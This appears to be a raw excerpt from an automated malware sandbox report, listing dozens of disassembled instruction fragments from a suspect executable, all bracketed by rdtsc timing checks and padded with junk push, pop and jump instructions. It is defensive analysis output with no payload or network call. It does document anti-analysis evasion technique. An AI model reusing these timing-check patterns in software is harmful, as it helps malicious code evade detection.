Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A2970D second address: A29713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29713 second address: A29717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29717 second address: A29737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0F38729BC7h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29737 second address: A2975B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F0F38F95236h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A2975B second address: A2975F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29896 second address: A2989A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29E42 second address: A29E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29F8D second address: A29FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0F38F95226h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c jmp 00007F0F38F95234h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29FB0 second address: A29FBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F0F38729BB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A2A7F0 second address: A2A7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F0F38F95228h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33ED5 second address: A33EED instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F0F38729BC2h 0x00000010 je 00007F0F38729BB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 97B28E second address: 97B298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F0F38F95226h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33822 second address: A33826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33826 second address: A33830 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33830 second address: A33834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A339E1 second address: A339EB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A339EB second address: A339F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F0F38729BB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A339F7 second address: A339FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A339FB second address: A33A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33A01 second address: A33A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33B82 second address: A33BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F0F38729BBCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jg 00007F0F38729BB6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A33BB5 second address: A33BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4895F second address: A4897A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0F38729BC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4897A second address: A48980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A48980 second address: A48984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A48984 second address: A48999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0F38F9522Dh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D62B second address: A4D634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D634 second address: A4D638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D638 second address: A4D64D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F0F38729BBFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D64D second address: A4D653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D653 second address: A4D659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D659 second address: A4D65D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D65D second address: A4D669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A4D669 second address: A4D66D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5360A second address: A53628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A53628 second address: A5362E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5362E second address: A53632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A53632 second address: A53640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A53640 second address: A53644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A53644 second address: A5364E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0F38F95226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5364E second address: A53659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A53659 second address: A53676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pushad 0x0000000e jmp 00007F0F38F9522Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A57160 second address: A57164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A59F20 second address: A59F30 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F0F38F95232h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A59F30 second address: A59F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5FC57 second address: A5FC68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007F0F38F95226h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5FC68 second address: A5FC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F0F38729BB6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E7F4 second address: A5E7F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E7F8 second address: A5E7FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E7FC second address: A5E802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E802 second address: A5E808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E808 second address: A5E810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E921 second address: A5E92A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E92A second address: A5E933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5E933 second address: A5E937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5EBED second address: A5EBFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F0F38F95226h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5EBFD second address: A5EC07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5EC07 second address: A5EC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5F92D second address: A5F932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A5F932 second address: A5F93F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F0F38F95226h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A6E2CB second address: A6E2E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A6E2E5 second address: A6E2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38F9522Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A86E3A second address: A86E7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F0F38729BB6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 jo 00007F0F38729BB6h 0x00000017 push edi 0x00000018 pop edi 0x00000019 jmp 00007F0F38729BC9h 0x0000001e jp 00007F0F38729BB6h 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jg 00007F0F38729BB6h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A86E7E second address: A86E8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0F38F9522Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 96C0BA second address: 96C0D8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0F38729BB6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F0F38729BB6h 0x00000014 jmp 00007F0F38729BBAh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A86A34 second address: A86A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A86A3A second address: A86A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A9ECB1 second address: A9ECB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A9EE25 second address: A9EE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A9EF9A second address: A9EFAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A9EFAD second address: A9EFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: AA3BED second address: AA3BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: AA3BF1 second address: AA3BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: AA3BF7 second address: AA3C1D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0F38F9522Ch 0x00000008 jbe 00007F0F38F95226h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0F38F95233h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: AA5267 second address: AA527D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F0F38729BC1h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: AA8A3E second address: AA8A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: AA8A42 second address: AA8A48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40127 second address: 4A4014C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0F38F9522Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A4014C second address: 4A4017D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0F38729BC7h 0x00000009 jmp 00007F0F38729BC3h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A4017D second address: 4A4018B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A4018B second address: 4A40191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40191 second address: 4A40197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40197 second address: 4A401C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0F38729BBDh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A401C2 second address: 4A401F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F0F38F9522Ah 0x00000014 and ch, 00000078h 0x00000017 jmp 00007F0F38F9522Bh 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A401F6 second address: 4A4022E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F0F38729BC4h 0x0000000c xor cx, 31D8h 0x00000011 jmp 00007F0F38729BBBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push edi 0x0000001d pop eax 0x0000001e mov bx, 9552h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A4022E second address: 4A40234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A40234 second address: 4A40238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A3001B second address: 4A3007E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F38F9522Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007F0F38F95232h 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F0F38F95237h 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F0F38F95236h 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A3007E second address: 4A30082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A30082 second address: 4A30086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A30086 second address: 4A3008C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20CF5 second address: 4A20CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 4A20CF9 second address: 4A20CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
